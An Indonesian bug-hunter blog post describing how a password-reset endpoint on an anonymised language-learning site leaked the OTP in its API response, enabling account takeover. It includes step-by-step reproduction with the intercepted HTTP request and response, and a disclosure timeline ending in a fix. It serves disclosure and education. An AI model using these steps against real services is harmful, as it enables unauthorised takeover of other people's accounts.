OTP Code Leaked, Easy Account Takeover Through Password Reset

Hi semuanya,

Saya kembali lagi dengan temuan bug yang lain, baiklah tulisan sederhana kali ini adalah tentang bagaimana saya menemukan bug misconfiguration di pengaturan ulang kata sandi yang dapat menyebabkan "Account Takeover" pada user lain.

Bagiku ini sangat keren, tapi bug ini saya temukan di luar program Bug Bounty, jadi bug ini saya temukan di suatu web aplikasi belajar Bahasa Inggris yang dibilang sudah terkenal di Playstore.

Penasaran seperti apa? Monggo simak saja...

Nah, awal ceritanya adalah ketika saya merasa bosan setelah berjam-jam belajar di aplikasi tersebut. Pikiran konyol untuk melakukan pengujian aplikasi web tersebut pun muncul di kepala saya.

Singkat cerita, saya langsung fokus untuk melakukan pengujian pada fungsi pengaturan ulang kata sandi. Ya, menurutku karena fitur ini memegang kunci kerentanan kritis yang dapat menyebabkan pengambilan akun, apa salahnya untuk dicoba? Siapa tahu ada celah.

Business Logic Bug di generate otp saat user meminta pengaturan ulang kata sandi dapat menyebabkan pengambilan akun secara permanen, karena disebabkan oleh kode otp yang bocor di sisi client.

Oke, tidak akan terlalu lama jadi langsung saja saya akan menjelaskan Attack Skenario sebagai berikut ini.

Steps To Reproduce This Issue:

Karena ini private serta kerentanan ini sangat kritis, jadi saya tidak mungkin untuk mengungkapkan secara asli. Jadi kita akan sebutkan dengan nama situs sebagai contoh "https://private.me" untuk dapat memahami tujuanya.

1) Saya akan menggunjungi situs tersebut https://private.me

2) Selanjutanya saya mulai menekan "Forgot Password" untuk meminta pengaturan ulang kata sandi ke email target.

3) Oke disini saya memasukan email taget yang mau diambil alih, sebagai contoh saya memasukan email dengan nama email "email@target.com"

4) Sebelum menekan "SEND OTP TO MAIL" lakukan intercept request terlebih dahulu, kemudian baru menekan "SEND OTP TO MAIL",

POST Request:

POST /api/v1/generate_otp HTTP/1.1
Host: private.me
Connection: keep-alive
Content-Length: 302
Accept: application/json, text/plain, */*
DNT: 1
Save-Data: on
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Content-Type: application/json;charset=UTF-8
Origin: http://private.me
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://private.me/
Accept-Encoding: gzip, deflate, br
Accept-Language: id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7
{"app_version":"1.0.0","platform":"web","device_id":"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","email_id":"email@target.com"}

POST Response:

HTTP/1.1 200 OK
Access-Control-Allow-Methods: GET, PUT, POST, OPTIONS
Access-Control-Allow-Origin: http://private.me
Access-Control-Max-Age: 7200
Cache-Control: max-age=0, private, must-revalidate
Content-Encoding: gzip
Content-Type: application/json; charset=utf-8
Date: Wed, 10 Feb 2021 14:00:49 GMT
ETag: W/"9af8d14201ae0803af8072dc4d21a467"
Server: nginx/1.8.0 + Phusion Passenger 5.0.15
Status: 200 OK
Vary: Accept-Encoding
Vary: Origin
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Powered-By: Phusion Passenger 5.0.15
X-Request-Id: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
X-Runtime: 1.969236
X-XSS-Protection: 1; mode=block
Content-Length: 131
Connection: keep-alive
{"payload":{"user_id":xxxxxx,"otp":"4871","email_id":"email@target.com"},"meta":{"message":"OTP mailed to email@target.com"}}

Hmm what is that?

Saya sangat terkejut saat melihat tampilan response tersebut menggembalikan seperti itu, kita fokus pada parameter "otp" saya melihat bahwa kode 4871 untuk langkah verifikasi tersebut bocor di body response. Tanpa perlu membuka email pemberitahuan pun kalau begini ya bakal sudah tahu dulu kode otpnya apa, iya kan?

Bug ini terdengar sangat konyol, sangat jarang saya menemukan hal seperti ini.

Jika bug ini di logika, maka akan sangat mudah sekali untuk melakukan "Account Takeover", jadi yang harus dipikirkan adalah bagaimana kita bisa mengetahui/mendapatkan data valid email korban yang ada di situs tersebut, hal ini tergantung kreatifitas masing-masing.

Dah, lanjut yuk.

5) Setelah itu saya masukan kode otp tersebut kemudian menekan "VERIFY OTP"


6) Ini bagian paling menyenangkan. Setelah berhasil melakukan verifikasi otp dengan benar, akhirnya saya disuguhkan tampilan untuk memasukan kata sandi yang baru, setelah itu kemudian tekan "RESET AND LOGIN"


7) BOOOMMM!!! Account Takeover sukses.

Kemudian tinggal login,


Yasudah, kurang lebih seperti itu attack skenarionya. Saya benar-benar merasa menjadi Hacker pada saat itu wkwk.

Saya tahu bug ini termasuk ke dalam kategori critical, so?

Saya orangnya peduli dengan hal seperti ini, daripada terjadi hal-hal yang tidak di inginkan oleh mereka dan kita. Akhirnya saya membuat attack skenario tentang adanya bug ini, saya merangkumnya dengan sedetail mungkin kemudian melaporkanya ke pihak team security mereka.

10 Feb 2021 - Reporting bug via Email
11 Feb 2021 - Bug valid disuruh nunggu update selanjutnya
13 Feb 2021 - Reward berupa Access Premium seumur hidup secara Gratis ke Aplikasi tersebut
17 Feb 2021 - Bug Fixed

Reward

Nah, mungkin itu saja yang bisa saya tuliskan mengenai temuan bug ini. Ketahuilah tujuan saya ini untuk berbagi pengalaman saja serta untuk edukasi. Oiya, seperti biasa jika ada kesalahan entah dalam penulisan atau apalah harap dimaklumi ya.

Akhirnya selesai juga, dari apa yang saya bagikan ini, semoga dapat bermanfaat buat kalian semuanya.

Thank you so much, Have a nice day and bye :)



Comments